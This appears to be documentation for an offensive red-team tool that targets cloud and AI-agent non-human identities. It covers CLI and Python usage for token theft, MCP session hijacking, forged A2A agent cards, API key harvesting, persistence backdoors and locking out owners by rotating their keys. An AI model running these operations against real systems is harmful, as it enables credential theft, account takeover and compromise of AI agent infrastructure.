SPECTER CHANGELING — Docs

T144 • L42 Non-Human Identity (NHI) Exploitation Engine • 270 tests • CHG-signed

Installation

pip install specter-changeling
# or from the NIGHTFALL monorepo:
cd /path/to/nightfall
pip install -e tools/specter-changeling/

Gate Architecture

GateRequirementsSubsystems
OPENNoneENUMERATE, GOVERNANCE-BLIND, REPORT
INJECTNone (passive read)SPOOF, STEAL-TOKEN, ESCALATE, HARVEST
UNLEASHEDEd25519 key file + ROE file containing phrase "identity takeover authorised" + --confirm-strip for STRIPPERSIST, STRIP

CLI Reference

enumerate

specter-changeling enumerate \
  --target <cloud-target> \
  --output <report.json> \
  [--providers aws gcp azure] \
  [--scan-mcp] [--scan-agents]

Discovers IAM service accounts, managed identities, OAuth clients, MCP session tokens, and API keys. Returns structured NHI inventory.

spoof

specter-changeling spoof \
  --mode <discord-cve|session-hijack|azure-imds|a2a-card|inter-agent> \
  --target <target-url-or-id> \
  [--agent-name <name>] \
  [--permissions <perm1 perm2>] \
  --gate inject

steal-token

specter-changeling steal-token \
  --mode <aitm|mcp-hijack|token-replay|rfc8693|refresh-extract> \
  --target <target-url> \
  --gate inject

escalate

specter-changeling escalate \
  --mode <vertex-double-agent|entra-agent-admin|azure-arc|oauth-bfs> \
  --target <target> \
  --token <access-token> \
  --gate inject

harvest

specter-changeling harvest \
  --target <directory-or-env> \
  [--validate] \
  [--key-types openai anthropic aws github gcp azure okta huggingface] \
  --gate inject

persist

specter-changeling persist \
  --mode <refresh-token|oauth-backdoor|gcp-sa-clone|agent-resurrection> \
  --token <admin-access-token> \
  [--project <gcp-project-id>] \
  [--source-sa <sa-email>] \
  --gate unleashed \
  --roe-phrase "identity takeover authorised" \
  --key /path/to/ed25519.key

strip

specter-changeling strip \
  --mode <revoke-oauth|disable-sa|rotate-key|deregister-agent|revoke-refresh> \
  --target <token-or-agent-id> \
  --gate unleashed \
  --roe-phrase "identity takeover authorised" \
  --key /path/to/ed25519.key \
  --confirm-strip
Warning: STRIP operations are irreversible. They revoke OAuth tokens (RFC 7009), disable service accounts, rotate API keys to lock out the original owner, and deregister A2A agents. Use only in authorised red team engagements.

governance-blind

specter-changeling governance-blind \
  --target <cloud-project-or-directory> \
  [--stale-days 90] \
  --output <report.json>

StripMethod Enum

ValueActionPlatforms
REVOKE_OAUTHRFC 7009 POST /oauth2/revoke with token + token_type_hintAzure, GCP, Okta, generic OAuth 2.0
DISABLE_SERVICE_ACCOUNTDisable or delete SA/MIAWS IAM UpdateUser, GCP SA :disable, Azure MI DELETE
ROTATE_API_KEYRotate key to attacker-controlled value, locking out ownerGitHub PAT, Okta API token
DEREGISTER_AGENTDELETE /agents/{id} (A2A) or server/deregister jsonrpc (MCP)A2A orchestrators, MCP servers
REVOKE_REFRESHRevoke refresh token via platform-specific APIAzure revokeSignInSessions, GCP oauth2/revoke, Okta DELETE /sessions

Report Schema

{
  "report_id": "CHG-a1b2c3d4e5f6",
  "timestamp": 1750000000.0,
  "target_environment": "gcp://my-project",
  "nhis_discovered": 47,
  "identities_spoofed": 3,
  "tokens_stolen": 12,
  "service_accounts_escalated": 2,
  "api_keys_harvested": 8,
  "identities_persisted": 1,
  "identities_stripped": 2,
  "blind_spots_found": 9,
  "wmd_classes": [
    "agent_identity_mass_spoofing",
    "oauth_token_harvest_and_pivot",
    "service_account_escalation_chain",
    "nhi_governance_blind_spot_exploit",
    "persistent_agent_identity_backdoor"
  ],
  "mitre_atlas": ["AML.T0012","AML.T0017","AML.T0044","AML.T0054"],
  "mitre_attack": ["T1078","T1528","T1550","T1098","T1133","T1552","T1556"],
  "ed25519_signature": "..."
}

Python API

from changeling.core.spoof_identity import spoof_a2a_agent_card
from changeling.core.steal_token import steal_mcp_token
from changeling.core.strip_identity import strip_identity, StripMethod

# Forge an A2A agent card
result = spoof_a2a_agent_card(
    orchestrator_url="http://orchestrator.local",
    agent_name="forged-admin",
    claimed_permissions=["admin", "orchestrate", "execute"],
)

# Hijack an MCP session
result = steal_mcp_token(
    mcp_server_url="http://mcp.local",
    mode="mcp_hijack",
)

# Strip — revoke OAuth token (UNLEASHED gate enforced in CLI)
result = strip_identity(
    method=StripMethod.REVOKE_OAUTH,
    target="eyJ...",
    revocation_endpoint="https://oauth.example.com/revoke",
)